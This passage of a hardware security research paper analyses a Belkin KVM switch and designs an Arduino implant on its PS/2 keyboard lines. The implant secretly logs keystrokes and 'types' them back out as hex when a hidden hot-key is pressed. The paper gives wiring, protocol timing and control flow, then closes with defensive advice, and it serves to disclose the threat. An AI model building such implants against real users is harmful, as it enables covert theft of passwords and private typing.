Commercial PIC programmers can be used to read the contents of the PIC using this procedure, but it is also a sufficiently straight-forward protocol that a simple single-purpose 'PIC16C57C Verifier' can be created with a small microcontroller development board such as an Arduino (any similar system with a sufficient number of easily available general purpose I/O pins could be used - such as a Raspberry Pi). The 13V programming voltage needs to be applied externally, as development systems such as Arduino and Raspberry Pi tend to only have 5V and other low voltages available.

The picture below shows an Arduino Uno board wired to a ZIF socket holding the PIC16C57C removed from the KVM switch. The power supply for providing the 13V programming voltage is also shown. Due to I/O restrictions on the Arduino Uno, only four bits are being read from the PIC, but it would be possible to reconfigure the device to read all other bits, such that the entire contents of the PIC16C57C could be read in several passes. Other development boards (such as the Arduino Mega) have sufficient I/O to read all 12 bits simultaneously.

Code Protection

The first word to be read from the PIC16C57C is the configuration register. This contains configuration data for the watchdog and oscillator, and also contains the 'code protection' bit. If the 'code protection' bit is zero, then code protection is enabled. When code protection is enabled, it is not possible to read the contents of the PIC16C57C memory (the verification operation succeeds, but the value returned does not represent the valid contents of the associated PIC16C57C memory location).

Unfortunately, reading the configuration register from the PIC16C57C taken from the Belkin KVM switch showed that the code protection bits were enabled, meaning that it was not possible to read the firmware from the PIC16C57C.

Logic analysis

Rationale

The previous sections detail the firmware analysis procedure, with the conclusion that the firmware cannot be read from the PIC16C57. This means that the goal of subverting the KVM switch for use as a key-logger must be achieved in one of two other ways:

• Analyse the logic implemented by the PIC16C57C microcontroller, and rewrite the firmware from scratch on an equivalent PIC device.
• Analyse enough of the logic implemented by the PIC16C57C microcontroller to determine how to piggy-back a secondary microcontroller to a subset of the device pins in order to monitor keypress data and implement a key-logger in the secondary microcontroller.

Determine Pinout Functions

Overview

The PIC16C57C has 20 general purpose I/O pins. The function of these pins can be investigated by using a multimeter, oscilloscope or logic analyser on the pin. This should be performed while putting the KVM switch through various scenarios, in order to see how the pin behaviour correlates with the functionality of the KVM switch. Voltage transitions on the pins may be slow (e.g. corresponding to an LED turning on or off), or fast (e.g. corresponding to the clock/data lines of the keyboard or mouse interfaces). Fast transitions might only be detected by an oscilloscope or logic analyser.

Each pin should be investigated while running through a variety of functional scenarios with the KVM switch:

• Switching between outputs.
• Typing on the keyboard while each of the outputs is active.
• Moving the mouse while each of the outputs is active.
• Plugging an end system in/out of one of the output ports.

The picture below shows an oscilloscope being used to investigate pin functionality while keys are pressed on a keyboard.

Further analysis of the PCB layout can be made with the 'resistance' mode of a multimeter to determine which pins are directly connected to other components on the PCB. This is made easier by the fact that the PIC16C57C in the Belkin KVM switch is mounted in a socket, meaning that removing the PIC from the socket allows resistance between pins and other components to be more reliably measured.

Some of the pins on the PIC16C57C have fixed functionality (see pinout diagram above) but it is the general purpose I/O pins 6-25 which are of interest. Investigation with an oscilloscope and multimeter revealed the following:

Pins 6-14

• Pin 6 - RA0 - Usually high, but pulled low while push-button switch is depressed.
  Most likely the input pin for the push-button switch to change outputs.
• Pin 7 - RA1 - Low when KVM Port 1 output is selected, and high when KVM Port 2 output is selected.
  Examining traces on the PCB, this also matches the sense of the input select pins on the 74HC4053D multiplexers.
  Using the multimeter in resistance mode, this pin is connected to the multiplex selector inputs S1, S2 and S3 on ICs U7, U8, U9, U10 (the 74HC4053D multiplexers).
  This therefore looks like an output pin that selects between Port 1 and Port 2 output on the KVM switch.
• Pin 8 - RA2 - As with Pin 7, this is low when KVM Port 1 output is selected, and high when KVM Port 2 output is selected.
  Using the multimeter in resistance mode, this pin is connected to the multiplex selector inputs S1, S2 and S3 on IC U2
  Using the multimeter in resistance mode, this pin is also connected to OE1 in IC U3 (similar functionality to the multiplexer).
  This therefore looks like another output pin that selects between Port 1 and Port 2 output on the KVM switch.
  It's not entirely clear why both Pin 7 and Pin 8 appear to have similar functionality. One possibility is that Pin 7 controls the PS/2 (mouse, keyboard) switching, and Pin 8 controls the video switching. This would need further investigation.
• Pin 9 - RA3 - Usually high, but activity is seen during switching between ports on the KVM switch.
  Looking in detail at the activity on this pin during switching, the oscilloscope showed a waveform of about 3 cycles/cm on the oscilloscope screen when the scope is on 1ms/cm time-base - which makes this a 3kHz waveform.
  It is very likely that this pin is directly driving the buzzer, as a short high pitched (about 3kHz) beep is made by the KVM switch under certain circumstances; for instance, when switching between output ports.
  
• Pin 10 - RB0 - High when there is a device connected to KVM Port 1.
  This appears to be an 'output enable' for the device connected to Port 1.
  During switching between ports, this pin is pulled low for a significant period (~1 sec) and the returns high.
  During the time the pin is pulled low, no output is seen from Port 1, although there is activity on pins 20-23 (mouse/keyboard).
  As a point of interest, the LEDs showing which port is selected also do not change until after this ~1 sec period).
• Pin 11 - RB1 - High when there is a device connected to KVM Port 2.
  This appears to be an 'output enable' for the device connected to Port 2.
  During switching between ports, this pin is pulled low for a significant period (~1 sec) and the returns high.
  During the time the pin is pulled low, no output is seen from Port 2, although there is activity on pins 20-23 (mouse/keyboard).
  As a point of interest, the LEDs showing which port is selected also do not change until after this ~1 sec period).
• 12 - RB2 - HIGH - No activity seen - no connections seen on PCB.
• 13 - RB3 - LOW - No activity seen - no connections seen on PCB.
• 14 - RB4 - HIGH - No activity seen.
  PCB trace visible, apparently to Pin 14 on U9. Confirmed with multimeter in resistance mode.
  This is 'Input 1' on the 74HC4053, which means it will be switch between a pin on KVM Port 1 and Port 2 via the multiplexer.
  This may be an input or output - that is, either the KVM switch will send a signal to the PS/2 connector on the KVM output port, or receive a signal. However, no activity is seen on this pin in any of the scenarios tested.

Pins 15-25

• Pin 15 - RB5 - HIGH - No activity seen - no connections seen on PCB.
• Pin 16 - RB6 - HIGH - No activity seen - no connections seen on PCB.
• Pin 17 - RB7 - HIGH - No activity seen - no connections seen on PCB.
• Pin 18 - RC0 - LOW - No activity seen - no connections seen on PCB.
• Pin 19 - RC1 - HIGH - No activity seen - no connections seen on PCB.
• Pin 20 - RC2 - PS/2 Mouse – Clock
  The oscilloscope shows regular bursts of pulses on this pin when the mouse is moved.
  The regularity of the pulses implies that this is the PS/2 clock for the mouse.
  Some activity on this pin was also seen during switching between KVM ports, when there was no mouse movement. See comments below about the purpose of pins 10 and 11.
• 21 - RC3 - PS/2 Mouse – Data
  The oscilloscope shows irregular bursts of pulses on this pin when the mouse is moved.
  The irregularity of the pulses implies that this is the PS/2 data for the mouse.
  Some activity on this pin was also seen during switching between KVM ports, when there was no mouse movement. See comments below about the purpose of pins 10 and 11.
• 22 - RC4 - PS/2 Keyboard – Clock
  The oscilloscope shows a regular burst of pulses on this pin when a key is pressed or released.
  The regularity of the pulses implies that this is the PS/2 clock for the keyboard.
• 23 - RC5 - PS/2 Keyboard – Data
  The oscilloscope shows an irregular burst of pulses on this pin when a key is pressed or released.
  The irregularity of the pulses implies that this is the PS/2 data for the keyboard.
• 24 - RC6 - LED1
  This pin corresponds directly to the state of the LED for KVM Port 1. It is therefore likely to be the output driver for the LED.
• 25 - RC7 - LED2
  This pin corresponds directly to the state of the LED for KVM Port 2. It is therefore likely to be the output driver for the LED.

Purpose of Pins 10-11: Output Isolation

It was noted above that pins 10 and 11 are driven low during switching. Also during switching some activity is seen on the PS/2 clock/data pins (20-23). It appears that the KVM switch temporarily disables the PS/2 output, and sends reset signals to the mouse and keyboard as part of the switching process. The PS/2 protocol is bi-directional, allowing the host to control features on the device; for example, setting indicators on a keyboard to show the state of caps lock, num lock, etc. The KVM switch needs to keep track of these features on each device (mouse and keyboard) per host/port, resetting them to their last known state for each host when switching between ports. To do this during switching, the KVM switch pulls pin 10 or 11 low to disable output to the corresponding output port, then sends the appropriate signals on the PS/2 bus to the attached mouse or keyboard to reset their state. Pulling pin 10 or 11 low is necessary to prevent the attached host on the corresponding output port from seeing this signalling between the KVM switch and the mouse or keyboard.

In addition to this the KVM switch supports hot-key switching. This is triggered by pressing the 'Scroll Lock' key twice. At this point, the unit beeps (to indicate that it has entered its 'hot-key' state) and waits for additional keypresses for about 1 second. Any keypress during this time is interpreted by the KVM switch and not passed on to the connected computer. This functionality requires that the PS/2 output ports can be disabled while in this 'hot-key' state, and this is achieved by pulling pin 10 or 11 low.

Incomplete Analysis

The analysis above has revealed a large proportion of the functionality of the KVM switch. However, there are still gaps. Several pins (12-19) were not seen to have any activity while running through a variety of KVM scenarios. If these pins were all high (normally a 'default' or 'inactive' state) then it could possibly be assumed that these pins are unused. However, the fact that some of these pins are low implies that there may be some purpose to them. Examination of traces on the PCB seem to show that only Pin 14 is connected, although its purpose is unclear.

As the analysis is incomplete, regenerating a working firmware from scratch is likely to be a challenge. Of the two options for subverting the KVM switch to implement a key-logger (see the 'Rationale' section above) the option of piggy-backing a secondary microcontroller seems more tenable.

The PS/2 Interface

In order to access the keyboard data on the PS/2 interfaces in the KVM switch, an understanding of the PS/2 protocol is required. A description of the PS/2 protocol can be found at the following link:

• http://www.computer-engineering.org/ps2protocol/

The PS/2 interface can be driven by either the host or the device, and the electrical characteristics of the interface mean that it should be possible to inject data onto the PS/2 bus even when both host and device are connected. This will be useful when attempting to piggy-back a secondary microcontroller in the KVM switch.

Implementing a Keylogger

Given the analysis above, it should be possible to piggy-back a secondary microcontroller on the PIC16C57C to implement a keylogger. Ideally, this should be done using only signals on the pins of the PIC16C57C itself, which would allow the same functionality to be implemented in replacement PIC firmware as an alternative.

Exfiltration should be via the existing interfaces on the KVM switch. The attacker would then only need in-situ access to the KVM switch in order to extract the data. One option is to implement an additional hot-key sequence in the secondary microcontroller. When this hot-key sequence is triggered, the secondary microcontroller would dump logged keypresses as keypress data to whatever system is connected to the KVM switch. This would allow an attacker to (for example) open a text editor on the target system and then press the hot-key sequence to dump the logged data into a text file.

Electrical Constraints

There is a significant constraint when piggy-backing on the PIC16C57C, that any pin configured as an output on the PIC16C57C cannot be driven to a different state by the piggy-back microcontroller. The PIC16C57C data sheet (section 7.6.1) says:

"A pin actively outputting a high or a low should not be driven from external devices at the same time in order to change the level on this pin (“wired-or”, “wired-and”). The resulting high output currents may damage the chip."

This means that an attempt to implement a keylogger, and exfiltrate the logged data, must use only pins on the PIC16C57C that are configured as inputs.

Sharing the PS/2 Bus

One of the options for exfiltrating data from the keylogger is to send the data as a sequence of keypresses to the attached host computer. In order to do this, the KVM switch would have to take the role of the peripheral device (keyboard) on the PS/2 bus, communicating with the host computer as a 'fake' keyboard. However, the PS/2 bus will also be connected to the real keyboard device at the same time, so the question is whether exfiltration via the PS/2 bus can be achieved in this way.

The PS/2 bus is designed to be a point-to-point connection between a host computer and a peripheral device. It is a simple two-wire protocol (clock and data) and allows bi-directional communication. This is achieved by using an open-collector interface for both clock and data pins (see "The Electrical Interface" section), allowing either host computer or peripheral device to drive the state of either pin to low.

So, from a purely electrical standpoint, it is possible for a second peripheral device (the KVM switch) to drive the clock and data pins of the PS/2 interface. From the host computer, both peripheral devices (real keyboard, and KVM switch acting as 'fake' keyboard) would be indistinguishable. However, there is a question of whether activity from the 'fake' keyboard may cause unexpected behaviour in the real keyboard.

In the PS/2 protocol, a majority of the communication is in the direction between the peripheral device and the host. The clock is always generated by the peripheral device, meaning that the peripheral device is generating clock and data signals the majority of the time. If the host needs to send data to the peripheral device (for example, to set the state of LEDs, such as caps lock), the host first alerts the peripheral device that it wishes to send data by holding the clock line low for more than 100μs as part of a 'request to send' signal. Therefore the concern is that activity on the PS/2 bus of the KVM switch acting as a 'fake' keyboard could be interpreted by the real keyboard as a 'request to send' from the host.

When sending data on the PS/2 bus, the peripheral device generates a clock signal in the range 10-16.7kHz, therefore the clock cycle is 100μs at the slowest clock speed (10kHz). This means that the 'fake' keyboard will be pulling the clock low for a maximum of 50μs, meaning that this should not be interpreted by the real keyboard as a 'request to send', therefore, sharing the PS/2 bus should be possible.

Detecting the Hot-Key Sequence

Exfiltration of the logged data will be triggered by an additional hot-key sequence. The KVM switch implements hot-key sequences triggered by pressing the 'Scroll Lock' key twice within a certain timeframe. The PIC16C57C then pulls the appropriate 'output enable' pin low (pins 10 or 11 on the PIC16C57C) for about 1s to prevent further keypresses from being sent to the host, while it waits for follow-on keys in the hot-key sequence. For example, pressing the '1' or '2' keys will then cause a switch to output ports 1 or 2, respectively.

There are two options for implementing the hot-key sequence for exfiltration of logged data:

• Detect the triggering key sequence ('Scroll Lock' pressed twice) independently in the piggy-back microcontroller.
• Detect the 'output enable' pins being pulled low, indicating that the hot-key sequence has been triggered.

The first option (independently detecting the hot-key trigger sequence) has a risk that the PIC16C57C and the piggy-back microcontroller may not detect the hot-key trigger sequence in exactly the same way (for example, differences in timing). The second option based on the state of the 'output enable' pins will therefore be used, because it is a more reliable way to detect that the KVM switch has entered the hot-key trigger state.

Proof-of-Concept Hardware

In order to produce a proof-of-concept implementation of a keylogger, an Arduino Uno development board was used. This has a range of I/O facilities, and has a straight-forward 'C' based programming environment, providing easy access to I/O pins for prototyping.

The picture above shows the Arduino Uno board with the following piggy-back connections onto the KVM switch PIC16C57C:

• Black: PIC16C57C pin 4 (Ground). Arduino ground.
• Blue: PIC16C57C pin 22 (PS/2 keyboard clock). Arduino digital I/O pin 2.
• Green: PIC16C57C pin 23 (PS/2 keyboard data). Arduino digital I/O pin 8.
• Red: PIC16C57C pin 11 ('Output enable' signal for KVM switch port 2). Arduino digital I/O pin 9.

For the purposes of the proof-of-concept implementation, only the Port 2 'output enable' line is being used.

Proof-of-Concept Software

Control Flow

The Arduino software to implement a keylogger will broadly have three states:

• • While the 'output enable' is high (output enabled), log keypress data.
• • When the 'output enable' is low (output disabled due to hot-key trigger sequence), detect the exfiltration hot-key sequence.
• • If the exfiltration hot-key sequence has been detected and the 'output enable' transitions from low to high (becoming enabled again), exfiltrate the keypress data.

If the exfiltration hot-key sequence is detected, it is necessary to wait for the 'output enable' to go high again, otherwise any PS/2 keypress data that is injected onto the PS/2 bus would not be seen by the host computer. For this proof-of-concept, the exfiltration hot-key sequence is set as two consecutive presses of the 'Q' key ('Q' for 'Query', and two presses so that it is not accidentally invoked by the legitimate user of the KVM switch).

Key Logging

One advantage of using an Arduino development board is the large range of software libraries available. For this proof-of-concept, the 'PS2Keyboard' library is used, which is available under the LGPL. This implements an interrupt-driven PS/2 keyboard reading library, and automatically converts scan codes to ASCII, taking account of the shift key state, to provide ASCII keypress data to the application. The Arduino Pin 2 is used for the PS/2 clock, as this supports interrupts on the Arduino Uno board.

Due to the manner in which the Arduino board is connected to the KVM PIC16C57C, the same pins on the Arduino need to be used to both read PS/2 keyboard data during key logging, and write PS/2 keyboard data during exfiltration. The 'PS2Keyboard' library only supports reading PS/2 data, a separate library is required to send data. In order to support this, a small addition to the 'PS2Keyboard' library had to be made in the addition of an end() method for the 'PS2Keyboard' library to release the interrupt used to read data. Without this addition, the 'PS2Keyboard' library would continue to read data during exfiltration.

During key logging, keypress data received from this library is stored in a ring buffer, ready for exfiltration. Note that this keypress data is ASCII rather than PS/2 scan codes, so this needs to be taken into account during exfiltration.

Exfiltration

In order to exfiltrate logged key data over the PS/2 keyboard interface, a library for sending PS/2 keyboard data is required. A library needed to be written for this proof-of-concept as no such library was identified in the large selection of Arduino libraries freely available.

The PS/2 protocol uses a clock running in the 10-16.7kHz range, and sends serial data with the following characteristics:

• One start bit (data held low)
• 8 data bits, LSB first
• One parity bit (odd parity)
• One stop bit (data held high)

Data is read by the host on the falling edge of the clock (transition from high to low).
This data transmission format does not correspond with any of the built-in data transmission protocols in the Arduino, meaning that a custom driver needed to be written. In order to implement the PS/2 protocol, a timer can be used that generates software interrupts at twice the rate of the 10-16.7kHz range required (in order to generate both rising and falling clock edges). The Arduino Uno supports 3 hardware timers that can generate software interrupts, and Timer 2 was selected for this proof-of-concept (Timer 1 is used by some of the standard Arduino libraries, making it unsuitable).

A driver was written that manually sets the PS/2 clock and data pins on a 25kHz interrupt running off Timer 2 on the Arduino board. On each interrupt, the clock pin is driven successively high or low, and the data pin is manipulated to generate the start bit, data bits, parity and stop bits as required.

When exfiltration is triggered by the hot-key sequence, logged data from the ring buffer needs to be exfiltrated. This is ASCII data, so cannot be sent directly as PS/2 scan codes. Instead, the data is exfiltrated as the hexadecimal representation of the ASCII of the logged keypresses. This can easily be converted back to the original keypress data once exfiltrated. For ease of conversion, the data was exfiltrated in a form compatible with the 'xxd' utility program available on Linux and other similar systems, similar to that shown below:


For each hex character output, the 'key depressed' keyboard scan code corresponding to that hex character (0-9 and A-F) is generated by the PS/2 driver, immediately followed by the 'key released' scan code for that same key. This continues until the entire ring buffer has been output.

The outcome of this exfiltration process is that the attached host computer sees a sequence of keypresses corresponding to the hex representation of the logged data. An attacker wishing to capture this data simply has to open a text editor on the target system, trigger the exfiltration, and watch as the exfiltrated data is 'typed' into the text editor.

Source Code

Source code for the proof-of-concept keylogger can be found here:

• https://labs.portcullis.co.uk/whitepapers/hacking-the-belkin-e-series-omniview-2-port-kvm-switch/

Conclusion

Hardware modification represents a genuine threat to organisations. Relatively simple hardware can, with the appropriate knowledge, be subverted to surreptitiously collect and ultimately exfiltrate data. Companies should remain abreast of the threat and consider conducting security appraisals of all devices deployed in sensitive areas.

Understanding ‘normal’ network traffic and remaining vigilant for unexpected and unusual network traffic, such as a new device suddenly connecting externally, can help organisations detect and block exfiltration over networks. However, in critical environments organisations need to identify and track hardware that is allowed to connect to critical systems including simple devices such as peripherals that are easy to overlook. The threat of physical tampering of devices means that in some environments physical examination of equipment is necessary to detect unauthorised modification.